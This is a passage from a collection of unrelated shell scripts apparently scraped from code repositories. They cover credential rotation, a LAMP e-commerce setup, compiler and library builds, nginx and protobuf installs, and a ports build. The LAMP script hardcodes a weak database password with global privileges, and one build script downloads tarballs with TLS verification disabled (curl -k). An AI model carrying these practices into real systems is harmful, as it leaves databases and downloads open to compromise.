ON_ERROR_STOP=1 -h ${PGHOST} -d ${DB_NAME} < ~/environment/opg-refunds/docs/runbooks/rotating_database_credentials/sql_scripts/password_update.sql\n}\n\nfunction redeploy_ecs_services() {\n echo \"redeploying services...\"\n aws ecs update-service --cluster ${ENVIRONMENT}-lpa-refunds --force-new-deployment --service public-front\n aws ecs update-service --cluster ${ENVIRONMENT}-lpa-refunds --force-new-deployment --service ingestion\n aws ecs update-service --cluster ${ENVIRONMENT}-lpa-refunds --force-new-deployment --service caseworker_api\n aws ecs update-service --cluster ${ENVIRONMENT}-lpa-refunds --force-new-deployment --service caseworker-front\n}\n\nfunction wait_for_ecs_services() {\n echo \"waiting for services to finish redeploying...\"\n aws ecs wait services-stable \\\n --cluster ${ENVIRONMENT}-lpa-refunds \\\n --services caseworker_api \\\n public-front \\\n ingestion \\\n caseworker-front\n}\n\nfunction parse_args() {\n for arg in \"$@\"\n do\n case $arg in\n -e|--environment)\n ENVIRONMENT=\"$2\"\n shift\n shift\n ;;\n -d|--database)\n DB_NAME=\"$2\"\n shift\n shift\n ;;\n -c|--credential)\n DB_CREDENTIAL=\"$2\"\n shift\n shift\n ;;\n -u|--username)\n DB_USERNAME=\"$2\"\n shift\n ;;\n -t|--test)\n TEST=True\n shift\n ;;\n esac\n done\n}\n\nfunction start() {\n if [ $TEST = True ]\n then\n test_run\n else\n run\n fi\n}\n\nTEST=False\nparse_args $@\nstart"} {"text": "<filename>src/lamp-setup/setup.sh<gh_stars>0\n\n\nfunction print_green() {\n GREEN=\"\\33[0;32m\"\n NC=\"\\033[0m\"\n echo -e \"${GREEN} $1 ${NC}\"\n}\n\n# ------------ Database Configuration -----------\n# Install and configure firewallD\necho print_green \"Installing firewalld...\"\nsudo yum install -y firewalld\nsudo service firewalld start\nsudo systemctl enable firewalld\n\n\n# Install and configure MariaDB\necho \"Installing MariaDB...\"\nsudo yum install -y mariadb-server\n# sudo vi /etc/my.cnf\nsudo service mariadb start\nsudo systemctl enable mariadb\n\n# Add firewallD rules for the database\necho \"Adding firewall rules for DB...\"\nsudo firewall-cmd --permanent --zone=public --add-port=3306/tcp\nsudo firewall-cmd --reload\n\n# Configure database\n# For mysql script we'll create a database script\necho \"Configuring DB...\"\ncat > configure-db.sql <<-EOF\nCREATE DATABASE ecomdb;\nCREATE USER 'ecomuser'@'localhost' IDENTIFIED BY 'ecompassword';\nGRANT ALL PRIVILEGES ON *.* TO 'ecomuser'@'localhost';\nFLUSH PRIVILEGES;\nEOF\nmysql < configure-db.sql\n\n# load inventory data into the database\necho \"Loading inventory data into DB...\"\ncat > db-load-script.sql <<-EOF\nUSE ecomdb;\nCREATE TABLE products (id mediumint(8) unsigned NOT NULL auto_increment,Name varchar(255) default NULL,Price varchar(255) default NULL, ImageUrl varchar(255) default NULL,PRIMARY KEY (id)) AUTO_INCREMENT=1;\n\nINSERT INTO products (Name,Price,ImageUrl) VALUES (\"Laptop\",\"100\",\"c-1.png\"),(\"Drone\",\"200\",\"c-2.png\"),(\"VR\",\"300\",\"c-3.png\"),(\"Tablet\",\"50\",\"c-5.png\"),(\"Watch\",\"90\",\"c-6.png\"),(\"Phone Covers\",\"20\",\"c-7.png\"),(\"Phone\",\"80\",\"c-8.png\"),(\"Laptop\",\"150\",\"c-4.png\");\n\nEOF\n\n\n\nmysql < db-load-script.sql\n\n# ------------------- Webserver Configuration --------------\n# Install apache web server and php\necho \"configuring web server....\"\nsudo yum install -y httpd php php-mysql\n\n# Configure Firewall rules for webserver \necho \"Configuring Firewall rules for webserver....\"\nsudo firewall-cmd --permanent --zone=public --add-port=80/tcp\nsudo firewall-cmd --reload\n\nsudo sed -i 's/index.html/index.php/g' /etc/httpd/conf/httpd.conf\n\n# Start and enable httpd service\necho \"Starting web server...\"\nsudo service httpd start\nsudo systemctl enable httpd\n\n# Install GIT nd download source code repository\necho \"Cloning GIT repo...\"\nsudo yum install -y git\ngit clone https://github.com/kodekloudhub/learning-app-ecommerce.git /var/www/html/\n\n# Replace database ip with localhost\nsudo sed -i 's/172.20.1.101/localhost/g' /var/www/html/index.php\n\necho \"All set.\""} {"text": "<reponame>mingwandroid/ctng-compiler-activation-feedstock<gh_stars>0\n\nCBUILD=$(${PREFIX}/bin/*-gcc -dumpmachine)\nCHOST=${ctng_cpu_arch}-${ctng_vendor}-linux-gnu\n\nFINAL_CFLAGS=FINAL_CFLAGS_${ctng_target_platform_u}\nFINAL_DEBUG_CFLAGS=FINAL_DEBUG_CFLAGS_${ctng_target_platform_u}\nFINAL_CXXFLAGS=FINAL_CXXFLAGS_${ctng_target_platform_u}\nFINAL_DEBUG_CXXFLAGS=FINAL_DEBUG_CXXFLAGS_${ctng_target_platform_u}\nFINAL_FFLAGS=FINAL_FFLAGS_${ctng_target_platform_u}\nFINAL_DEBUG_FFLAGS=FINAL_DEBUG_FFLAGS_${ctng_target_platform_u}\nFINAL_LDFLAGS=FINAL_LDFLAGS_${ctng_target_platform_u}\nFINAL_CONDA_PYTHON_SYSCONFIGDATA_NAME=FINAL_CONDA_PYTHON_SYSCONFIGDATA_NAME_${ctng_target_platform_u}\n\nif [ -z \"${!FINAL_CFLAGS}\" ]; then\n echo \"FINAL_CFLAGS not set. Did you pass in a flags variant config file?\"\n exit 1\nfi\n\nif [[ \"$target_platform\" == \"$ctng_target_platform\" ]]; then\n export CONDA_BUILD_CROSS_COMPILATION=\"\"\nelse\n export CONDA_BUILD_CROSS_COMPILATION=\"1\"\nfi\n\nfind . -name \"*activate*.sh\" -exec sed -i.bak \"s|@LINUX_MACHINE@|${linux_machine}|g\" \"{}\" \\;\nfind . -name \"*activate*.sh\" -exec sed -i.bak \"s|@CBUILD@|${CBUILD}|g\" \"{}\" \\;\nfind . -name \"*activate*.sh\" -exec sed -i.bak \"s|@CHOST@|${CHOST}|g\" \"{}\" \\;\nfind . -name \"*activate*.sh\" -exec sed -i.bak \"s|@CPPFLAGS@|${FINAL_CPPFLAGS}|g\" \"{}\" \\;\nfind . -name \"*activate*.sh\" -exec sed -i.bak \"s|@DEBUG_CPPFLAGS@|${FINAL_DEBUG_CPPFLAGS}|g\" \"{}\" \\;\nfind . -name \"*activate*.sh\" -exec sed -i.bak \"s|@CFLAGS@|${!FINAL_CFLAGS}|g\" \"{}\" \\;\nfind . -name \"*activate*.sh\" -exec sed -i.bak \"s|@DEBUG_CFLAGS@|${!FINAL_DEBUG_CFLAGS}|g\" \"{}\" \\;\nfind . -name \"*activate*.sh\" -exec sed -i.bak \"s|@CXXFLAGS@|${!FINAL_CXXFLAGS}|g\" \"{}\" \\;\nfind . -name \"*activate*.sh\" -exec sed -i.bak \"s|@DEBUG_CXXFLAGS@|${!FINAL_DEBUG_CXXFLAGS}|g\" \"{}\" \\;\nfind . -name \"*activate*.sh\" -exec sed -i.bak \"s|@FFLAGS@|${!FINAL_FFLAGS}|g\" \"{}\" \\;\nfind . -name \"*activate*.sh\" -exec sed -i.bak \"s|@DEBUG_FFLAGS@|${!FINAL_DEBUG_FFLAGS}|g\" \"{}\" \\;\nfind . -name \"*activate*.sh\" -exec sed -i.bak \"s|@LDFLAGS@|${!FINAL_LDFLAGS}|g\" \"{}\" \\;\nfind . -name \"*activate*.sh\" -exec sed -i.bak \"s|@_CONDA_PYTHON_SYSCONFIGDATA_NAME@|${!FINAL_CONDA_PYTHON_SYSCONFIGDATA_NAME}|g\" \"{}\" \\;\nfind . -name \"*activate*.sh\" -exec sed -i.bak \"s|@CONDA_BUILD_CROSS_COMPILATION@|${CONDA_BUILD_CROSS_COMPILATION}|g\" \"{}\" \\;\n\nfind . -name \"*activate*.sh.bak\" -exec rm \"{}\" \\;"} {"text": "cp -f Patches/tk-8.5.18-win-ttkWinXPTheme.c ../tk-8.5.18/win/ttkWinXPTheme.c"} {"text": "<reponame>JasonWeise/ios<gh_stars>100-1000\n#!/bin/bash\n\nINK=/Applications/Inkscape.app/Contents/Resources/bin/inkscape\nIMAGEW=imagew\n\nif [[ -z \"$1\" ]] \nthen\n\techo \"SVG file needed.\"\n\texit;\nfi\n\nBASE=`basename \"$1\" .svg`\nSVG=\"$1\"\nMYPWD=`pwd`\n\n# need to use absolute paths in OSX\n\n$INK -z -C -e \"$MYPWD/$BASE-25.png\" -f \t\t$MYPWD/$SVG -w 25 -h 25\n$INK -z -C -e \"$MYPWD/$BASE-25@2x.png\" -f \t$MYPWD/$SVG -w 50 -h 50\n$INK -z -C -e \"$MYPWD/$BASE-25@3x.png\" -f \t$MYPWD/$SVG -w 75 -h 75\n\n$IMAGEW -negate \"$MYPWD/$BASE-25.png\" \"$MYPWD/$BASE-25-negate.png\"\n$IMAGEW -negate \"$MYPWD/$BASE-25@2x.png\" \"$MYPWD/$BASE-25-negate@2x.png\"\n$IMAGEW -negate \"$MYPWD/$BASE-25@3x.png\" \"$MYPWD/$BASE-25-negate@3x.png\""} {"text": "<gh_stars>0\nkillall -q polybar\n\nif type \"xrandr\"; then\n for m in $(xrandr --query | grep \" connected\" | cut -d\" \" -f1); do\n MONITOR=$m polybar --reload main >> /tmp/polybar1.log 2>&1 &\n done\nelse\n polybar --reload main >> /tmp/polybar1.log 2>&1 &\nfi"} {"text": "<reponame>unb-libraries/docker-rsnapshot-mysql\n#!/usr/bin/env sh\n/usr/bin/rsnapshot -c /etc/rsnapshot.conf daily"} {"text": "<gh_stars>1-10\n#===================================================================================================================================\n# Convert Bam file to Sam file for introduction into the sequence analysis pipeline.\n#-----------------------------------------------------------------------------------------------------------------------------------\nuser=$1;\nproject=$2;\ninputFile=$3;\nmain_dir=$(pwd)\"/\";\n\n# load local installed program location variables.\n. $main_dir\"local_installed_programs.sh\";\n\nprojectDirectory=$main_dir\"users/\"$user\"/projects/\"$project\"/\";\nlogFile=$projectDirectory\"process_log.txt\";\necho \"#|---- bam2sam.sh ---- begin.\" >> $logFile;\n\noutputFile=\"data.sam\"\necho \"#| input file : \"$inputFile >> $logFile;\necho \"#| output file : \"$outputFile >> $logFile;\n\n#===================================================================================================================================\n# Use SAMtools to convert Bam to Sam.\n#-----------------------------------------------------------------------------------------------------------------------------------\n\ncd $projectDirectory;\n\necho \"#| indexing BAM file.\" >> $logFile;\n$samtools_exec index $inputFile;\necho \"#| converting to SAM file.\" >> $logFile;\n$samtools_exec view -h $inputFile > $outputFile;\necho \"#|---- bam2sam.sh ---- end.\" >> $logFile;"} {"text": "#!/bin/sh\n\n# set -e\n\nred () { printf \"\\033[1;31m%s\\033[0m\" \"$*\"; }\nyellow () { printf \"\\033[1;33m%s\\033[0m\" \"$*\"; }\npink () { printf \"\\033[1;35m%s\\033[0m\" \"$*\"; }\nblue () { printf \"\\033[1;34m%s\\033[0m\" \"$*\"; }\ngreen () { printf \"\\033[1;32m%s\\033[0m\" \"$*\"; }\ndrk_green () { printf \"\\033[0;32m%s\\033[0m\" \"$*\"; }\ncyan () { printf \"\\033[0;36m%s\\033[0m\" \"$*\"; }\ngrey () { printf \"\\033[2;30m%s\\033[0m\" \"$*\"; }\n\nmain () {\n PATHS=\"${@:-/src}\"\n\n echo \"$(blue '###') python-checker: $(green 'Checking the following paths...')\"\n for path in \"$PATHS\"; do\n echo \" $(blue '-') $path\"\n done\n echo\n\n errs=0\n\n echo \"$(blue '###') $(yellow 'flake8')\"\n flake8 $PATHS\n errs=$(( $errs + $? ))\n\n echo\n echo \"$(blue '###') $(pink 'pydocstyle')\"\n pydocstyle $PATHS\n errs=$(( $errs + $? ))\n\n echo\n echo \"$(blue '###') $(grey 'black')\"\n black --check $PATHS\n errs=$(( $errs + $? ))\n\n echo\n echo \"$(blue '###') $(cyan 'bandit')\"\n bandit -r $PATHS\n errs=$(( $errs + $? ))\n\n echo\n if [ \"$errs\" != \"0\" ]; then\n echo \"$(blue '###') python-checker: $(red 'Found errors, please fix them!')\"\n else\n echo \"$(blue '###') python-checker: $(green 'All checks successful!')\"\n fi\n \n exit $errs\n}\n\nmain \"$@\""} {"text": "#!/bin/bash\n\nsudo apt install curl gnupg2 ca-certificates lsb-release\n\ncurl -fsSL https://nginx.org/keys/nginx_signing.key | sudo apt-key add -\n\nsudo apt-key fingerprint <KEY>\n\nsudo apt update\nsudo apt install nginx\n\n# 查看 nginx 运行状态 监听80端口\nsudo systemctl status nginx\nsudo systemctl stop nginx\nsudo systemctl start nginx\nsudo systemctl restart nginx\n\n# 打开防火墙\nsudo ufw allow 'Nginx Full'\n\n# 浏览器访问\n# http://172.16.17.32:80/"} {"text": "<gh_stars>1-10\n#!/bin/sh\n# Regression test for GNU grep.\n\n: ${srcdir=.}\n\nfailures=0\n\n# . . . and the following by <NAME>.\n\n${AWK-awk} -f $srcdir/scriptgen.awk $srcdir/spencer2.tests > tmp2.script\n\nsh tmp2.script && exit $failures\nexit 1"} {"text": "#!/bin/bash\n#\n# Add job to shared project\n#\n\n#set -x\n\n. \"$BATSDIR\"/srio.sh\n. \"$BATSDIR\"/srutil.sh\ncd \"$BATSDIR\"/set2\n\nproj='TEST(set2)-Project36'\npassphrase='<PASSWORD>'\n\nSR_start ${SRUSER} ${SRTOKEN} ${proj} 'Job1' \"$passphrase\"\nif [ $? != 0 ]\nthen\n exit 1\nfi\n\nSR_set 'A' 'Hello World' 'false'\nif [ $? != 0 ]\nthen\n exit 1\nfi\n\nloc=\"Location\"\nSR_send \"$loc\"\nif [ $? != 0 ]\nthen\n exit 1\nfi\n\nsleep 5s\n\nSR_add_share \"${SRUSER}:${SRTOKEN}\" \"$SRSHAREEMAIL\" 'write'\n\nprojencoded=\"$SR_project_encoded\"\nprojshare=${proj}\"~\"${SREMAIL}\n\nSR_start ${SRSHAREUSER} ${SRSHARETOKEN} ${projshare} 'Job2' \"$passphrase\"\nif [ $? != 0 ]\nthen\n exit 1\nfi\n\nSR_set 'A' 'Hello World' 'false'\nif [ $? != 0 ]\nthen\n exit 1\nfi\n\nloc=\"Location\"\nSR_send \"$loc\"\nif [ $? != 0 ]\nthen\n exit 1\nfi\n\nresult=`SR_get_jobs \"${SRSHAREUSER}:${SRSHARETOKEN}\"`\ncount=`grep -o \"id\" <<< \"$result\" | wc -l`\n\nif [ $count -ne 2 ]\nthen\n exit 1\nfi\n\nSR_project_encoded=\"$projencoded\"\nSR_delete_project \"${SRUSER}:${SRTOKEN}\"\nexit 0"} {"text": "for version in \"${RBENV_ROOT}/versions/\"*-debian; do\n version_name=$(basename \"$version\")\n gem_bindir=\"${RBENV_ROOT}/versions/${version_name}/gems/bin\"\n version_bindir=\"${RBENV_ROOT}/versions/${version_name}/bin\"\n if [[ -d \"$gem_bindir\" ]]; then\n for program in \"$gem_bindir\"/*; do\n program_name=\"$(basename $program)\"\n register_shim \"$program_name\"\n done\n fi\ndone"} {"text": "<reponame>akakou/sss-full-request-logger-poc\nrm ../store/data/1.db ../store/data/2.db ../store/data/3.db ../store/data/4.db ../store/data/5.db ../store/data/6.db ../store/data/7.db"} {"text": "#!/usr/bin/env bash\n## \n\nif [[ \"$1\" == \"clean\" ]]; then\n make clean\n /bin/rm -f config.h\n /bin/rm -rf xlibs\n /bin/rm -rf lzma bzip2 libdeflate\n /bin/rm -f *.tar.gz\n exit\nfi\n\npwd=$(pwd -P)\nprefix=$pwd/xlibs\nincdir=$prefix/include\nlibdir=$prefix/lib\nmkdir -p $incdir\nmkdir -p $libdir\n\n# -- prepare libdeflate\nif [[ ! -d libdeflate ]]; then\n git clone https://github.com/ebiggers/libdeflate\n cd libdeflate\n git checkout '9b565afd996d8b798fc7b94cddcc7cfa49293050'\n cd ..\nfi\nif [[ ! -f $libdir/libdeflate.a ]]; then\n cd libdeflate\n MINGW=''\n libdeflate=libdeflate.a\n if [[ $(gcc -dumpmachine) == *mingw* ]]; then\n MINGW=1\n libdeflate=libdeflatestatic.lib\n fi\n make -j 2 $libdeflate || exit 1\n cp $libdeflate $libdir/libdeflate.a\n cp libdeflate.h $incdir/\n cd ..\nfi\n\nbzip=\"bzip2-1.0.8\"\nif [[ ! -d bzip2 ]]; then\n curl -ksLO https://sourceware.org/pub/bzip2/$bzip.tar.gz || \\\n exec echo \"Error: failed to fetch $bzip.tar.gz!\"\n tar -xzf $bzip.tar.gz || exec echo \"Error: failed to unpack $bzip.tar.gz!\"\n /bin/rm -f $bzip.tar.gz\n mv $bzip bzip2\nfi\nif [[ ! -f $libdir/libbz2.a ]]; then \n cd bzip2\n make -j 4 libbz2.a\n cp bzlib.h $incdir/\n cp libbz2.a $libdir/\n cd ..\nfi\n\n# -- prepare liblzma\nxz=\"xz-5.2.5\"\n\nif [[ ! -d lzma ]]; then\n curl -ksLO https://tukaani.org/xz/$xz.tar.gz || \\\n exec echo \"Error: failed to fetch $xz.tar.gz !\"\n tar -xzf $xz.tar.gz || exec echo \"Error: failed to unpack $xz.tar.gz !\"\n /bin/rm -f $xz.tar.gz\n mv $xz lzma\nfi\nif [[ ! -f $libdir/liblzma.a ]]; then\n cd lzma\n ./configure --disable-shared -disable-xz -disable-xzdec --disable-lzmadec \\\n --disable-lzmainfo --disable-nls --prefix=$prefix\n make -j 4\n make install\n cd ..\nfi\n\nmake -j 4 lib-static"} {"text": "#!/bin/bash -e\n\nsudo apt install -y pulseaudio libportaudio2 dbus-x11\ndbus-launch pulseaudio --start"} {"text": "#!/usr/bin/env bash\n\n# Return with 125 if this commit can not be checked.\n# Return with 0 if this commit is good.\n# Return anything else if it is bad.\n\nRESULT=$(python3 add.py 2 2)\n\nif [ \"$RESULT\" != \"4\" ]; then\n echo \"Nah, it's bad.\"\n exit 1\nelse\n echo \"It works!\"\n exit 0\nfi"} {"text": "#!/bin/bash\n\nif [ -z $2 ];then\n\techo \"Usage: ./build_docs.bash path-to-yuidoc.py build_version\"\n\texit 0\nfi\n\n\n# The location of your yuidoc install\n#yuidoc_home=/Users/mesh/Downloads/yuidoc\n\nyuidoc_exe=$1\n\n# The location of the files to parse. Parses subdirectories, but will fail if\n# there are duplicate file names in these directories. You can specify multiple\n# source trees:\n# parser_in=\"%HOME/www/yui/src %HOME/www/event/src\"\nparser_in=\"../src\"\n\n# The location to output the parser data. This output is a file containing a \n# json string, and copies of the parsed files.\nparser_out=tmp/parser\n\nworking_dir=output\ndoc_dir=easeljs_docs\nzip_name=easeljs_docs.zip\n\n# The directory to put the html file outputted by the generator\ngenerator_out=$working_dir/$doc_dir/\n\n# The location of the template files. Any subdirectories here will be copied\n# verbatim to the destination directory.\ntemplate=template\n\n# The version of your project to display within the documentation.\nversion=$2\n\n# The version of YUI the project is using. This effects the output for\n# YUI configuration attributes. This should start with '2' or '3'.\nyuiversion=2\n\nprojectname=\"EaselJS\"\n\n##############################################################################\n# add -s to the end of the line to show items marked private\n\n#projectname\n\n$yuidoc_exe $parser_in -p $parser_out -o $generator_out -t $template -v $version -Y $yuiversion -m $projectname -u \"http://www.easeljs.com\"\n\nrm -r tmp\n\ncd $working_dir\nzip -r $zip_name $doc_dir -x \"*.DS_Store\"\ncd .."} {"text": "<reponame>bendhouseart/Sea<gh_stars>0\nparallel --jobs 6 < ./results/exp_iterations/run-4/sea_mem_4n_6t_6d_1000f_617m_10i/jobs/jobs_n0.txt"} {"text": "#!/usr/bin/env bash\n# Copyright 2016 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\nset -e\n\n# Install protobuf3 from source.\n\n# Determine the number of cores, for parallel make.\nN_JOBS=$(grep -c ^processor /proc/cpuinfo)\nif [[ -z ${N_JOBS} ]]; then\n # The Linux way didn't work. Try the Mac way.\n N_JOBS=$(sysctl -n hw.ncpu)\nfi\nif [[ -z ${N_JOBS} ]]; then\n N_JOBS=1\n echo \"\"\n echo \"WARNING: Failed to determine the number of CPU cores. \"\\\n\"Will use --jobs=1 for make.\"\nfi\n\necho \"\"\necho \"make will use ${N_JOBS} concurrent job(s).\"\necho \"\"\n\n\n# Build and install protobuf.\nPROTOBUF_VERSION=\"3.0.0-beta-2\"\nPROTOBUF_DOWNLOAD_DIR=\"/tmp/protobuf\"\n\nmkdir \"${PROTOBUF_DOWNLOAD_DIR}\"\npushd \"${PROTOBUF_DOWNLOAD_DIR}\"\ncurl -fSsL -O https://github.com/google/protobuf/releases/download/v$PROTOBUF_VERSION/protobuf-cpp-$PROTOBUF_VERSION.tar.gz\ntar zxf protobuf-cpp-$PROTOBUF_VERSION.tar.gz\ncd protobuf-$PROTOBUF_VERSION\n./autogen.sh\n./configure\nmake --jobs=${N_JOBS}\nsudo make install\nmake clean\nsudo ldconfig\npopd\nrm -rf \"${PROTOBUF_DOWNLOAD_DIR}\""} {"text": "<filename>build/ports.sh\n#!/bin/sh\n\n# Copyright (c) 2014-2018 <NAME> <<EMAIL>>\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n# SUCH DAMAGE.\n\nset -e\n\nSELF=ports\n\n. ./common.sh\n\nif [ -z \"${PORTS_LIST}\" ]; then\n\tPORTS_LIST=$(\ncat ${CONFIGDIR}/ports.conf | while read PORT_ORIGIN PORT_IGNORE; do\n\teval PORT_ORIGIN=${PORT_ORIGIN}\n\tif [ \"$(echo ${PORT_ORIGIN} | colrm 2)\" = \"#\" ]; then\n\t\tcontinue\n\tfi\n\tif [ -n \"${PORT_IGNORE}\" ]; then\n\t\tQUICK=\n\t\tfor PORT_QUIRK in $(echo ${PORT_IGNORE} | tr ',' ' '); do\n\t\t\tif [ ${PORT_QUIRK} = ${PRODUCT_TARGET} -o \\\n\t\t\t ${PORT_QUIRK} = ${PRODUCT_ARCH} -o \\\n\t\t\t ${PORT_QUIRK} = \"cache\" -o \\\n\t\t\t ${PORT_QUIRK} = ${PRODUCT_FLAVOUR} ]; then\n\t\t\t\tcontinue 2\n\t\t\tfi\n\t\t\tif [ ${PORT_QUIRK} = \"quick\" ]; then\n\t\t\t\tQUICK=1\n\t\t\tfi\n\t\tdone\n\t\tif [ -n \"${PRODUCT_QUICK}\" -a -z \"${QUICK}\" ]; then\n\t\t\t# speed up build by skipping all annotations,\n\t\t\t# our core should work without all of them.\n\t\t\tcontinue\n\t\tfi\n\tfi\n\techo ${PORT_ORIGIN}\ndone\n)\n\tPORTS_CACHE=$(\ncat ${CONFIGDIR}/ports.conf | while read PORT_ORIGIN PORT_IGNORE; do\n\teval PORT_ORIGIN=${PORT_ORIGIN}\n\tif [ \"$(echo ${PORT_ORIGIN} | colrm 2)\" = \"#\" ]; then\n\t\tcontinue\n\tfi\n\tif [ -n \"${PORT_IGNORE}\" ]; then\n\t\tfor PORT_QUIRK in $(echo ${PORT_IGNORE} | tr ',' ' '); do\n\t\t\tif [ ${PORT_QUIRK} = \"cache\" ]; then\n\t\t\t\techo ${PORT_ORIGIN}\n\t\t\t\tcontinue 2\n\t\t\tfi\n\t\tdone\n\tfi\ndone\n)\nelse\n\tPORTS_LIST=$(\nfor PORT_ORIGIN in ${PORTS_LIST}; do\n\techo ${PORT_ORIGIN}\ndone\n\tPORTS_CACHE=\n)\nfi\n\ncheck_packages ${SELF} ${@}\n\ngit_branch ${SRCDIR} ${SRCBRANCH} SRCBRANCH\ngit_branch ${PORTSDIR} ${PORTSBRANCH} PORTSBRANCH\n\nsetup_stage ${STAGEDIR}\nsetup_base ${STAGEDIR}\nsetup_clone ${STAGEDIR} ${PORTSDIR}\nsetup_clone ${STAGEDIR} ${SRCDIR}\nsetup_chroot ${STAGEDIR}\nsetup_distfiles ${STAGEDIR}\n\nextract_packages ${STAGEDIR}\nremove_packages ${STAGEDIR} ${@} ${PRODUCT_CORES} ${PRODUCT_PLUGINS}\ncleanup_packages ${STAGEDIR}\n\nMAKE_CONF=\"${CONFIGDIR}/make.conf\"\nif [ -f ${MAKE_CONF} ]; then\n\tcp ${MAKE_CONF} ${STAGEDIR}/etc/make.conf\nfi\n\nPORTS_LIST=$(echo ports-mgmt/pkg; echo \"${PORTS_LIST}\")\n\ncat > ${STAGEDIR}/bin/echotime <<EOF\n#!/bin/sh\necho \"[\\$(date '+%Y%m%d%H%M%S')]\" \\${*}\nEOF\n\nchmod 755 ${STAGEDIR}/bin/echotime\n\necho \"ECHO_MSG=echotime\" >> ${STAGEDIR}/etc/make.conf\n\n# block SIGINT to allow for collecting port progress (use with care)\ntrap : 2\n\n${ENV_FILTER} chroot ${STAGEDIR} /bin/sh -s << EOF || true\necho \"${PORTS_LIST}\" | while read PORT_ORIGIN; do\n\tFLAVOR=\\${PORT_ORIGIN##*@}\n\tPORT=\\${PORT_ORIGIN%%@*}\n\tMAKE_ARGS=\"\nPACKAGES=${PACKAGESDIR}\nPRODUCT_FLAVOUR=${PRODUCT_FLAVOUR}\nPRODUCT_PERL=${PRODUCT_PERL}\nPRODUCT_PHP=${PRODUCT_PHP}\nPRODUCT_PYTHON=${PRODUCT_PYTHON}\nPRODUCT_RUBY=${PRODUCT_RUBY}\nUNAME_r=\\$(freebsd-version)\n\"\n\n\tif [ \\${FLAVOR} != \\${PORT} ]; then\n\t\tMAKE_ARGS=\"\\${MAKE_ARGS} FLAVOR=\\${FLAVOR}\"\n\tfi\n\n\t# check whether the package has already been built\n\tPKGFILE=\\$(make -C ${PORTSDIR}/\\${PORT} -V PKGFILE \\${MAKE_ARGS})\n\tif [ -f \\${PKGFILE} ]; then\n\t\tcontinue\n\tfi\n\n\t# check whether the package is available\n\t# under a different version number\n\tPKGNAME=\\$(basename \\${PKGFILE})\n\tPKGNAME=\\${PKGNAME%%-[0-9]*}.txz\n\tPKGLINK=${PACKAGESDIR}/Latest/\\${PKGNAME}\n\tif [ -L \\${PKGLINK} ]; then\n\t\tPKGFILE=\\$(readlink -f \\${PKGLINK} || true)\n\t\tif [ -f \\${PKGFILE} ]; then\n\t\t\tPKGVERS=\\$(make -C ${PORTSDIR}/\\${PORT} -V PKGVERSION \\${MAKE_ARGS})\n\t\t\techo \">>> Skipped version \\${PKGVERS} for \\${PORT_ORIGIN}\" >> /.pkg-warn\n\t\t\tcontinue\n\t\tfi\n\tfi\n\n\tif ! make -s -C ${PORTSDIR}/\\${PORT} install \\\n\t USE_PACKAGE_DEPENDS=yes \\${MAKE_ARGS}; then\n\t\tPKGVERS=\\$(make -C ${PORTSDIR}/\\${PORT} -V PKGVERSION \\${MAKE_ARGS})\n\t\techo \">>> Aborted version \\${PKGVERS} for \\${PORT_ORIGIN}\" >> /.pkg-err\n\t\t# XXX Eventually continue now that\n\t\t# we can log the progress in pkg-err.\n\t\t# We know that the build is flawed,\n\t\t# but with a bit of luck later build\n\t\t# progress is not lost forever. :)\n\t\texit 1\n\tfi\n\n\t(echo \"${PORTS_LIST}\"; echo \"${PORTS_CACHE}\") | \\\n\t while read PORT_DEPENDS; do\n\t\tPORT_DEPNAME=\\$(pkg query -e \"%o == \\${PORT_DEPENDS%%@*}\" %n)\n\t\tif [ -n \"\\${PORT_DEPNAME}\" ]; then\n\t\t\techo \">>> Locking package dependency \\${PORT_DEPNAME}\"\n\t\t\tpkg set -yA0 \\${PORT_DEPNAME}\n\t\tfi\n\tdone\n\n\tpkg autoremove -y\n\tfor PKGNAME in \\$(pkg query %n); do\n\t\tpkg create -no ${PACKAGESDIR}/All \\${PKGNAME}\n\tdone\n\n\tmake -s -C ${PORTSDIR}/\\${PORT} clean \\${MAKE_ARGS}\n\n\tpkg set -yaA1\n\tpkg set -yA0 ports-mgmt/pkg\n\tpkg autoremove -y\ndone\nEOF\n\n# unblock SIGINT\ntrap - 2\n\n${ENV_FILTER} chroot ${STAGEDIR} /bin/sh -s << EOF || true\necho \"${PORTS_CACHE}\" | while read PORT_ORIGIN; do\n\tFLAVOR=\\${PORT_ORIGIN##*@}\n\tPORT=\\${PORT_ORIGIN%%@*}\n\tMAKE_ARGS=\"\nPACKAGES=${PACKAGESDIR}\nPRODUCT_FLAVOUR=${PRODUCT_FLAVOUR}\nPRODUCT_PERL=${PRODUCT_PERL}\nPRODUCT_PHP=${PRODUCT_PHP}\nPRODUCT_PYTHON=${PRODUCT_PYTHON}\nPRODUCT_RUBY=${PRODUCT_RUBY}\nUNAME_r=\\$(freebsd-version)\n\"\n\n\tif [ \\${FLAVOR} != \\${PORT} 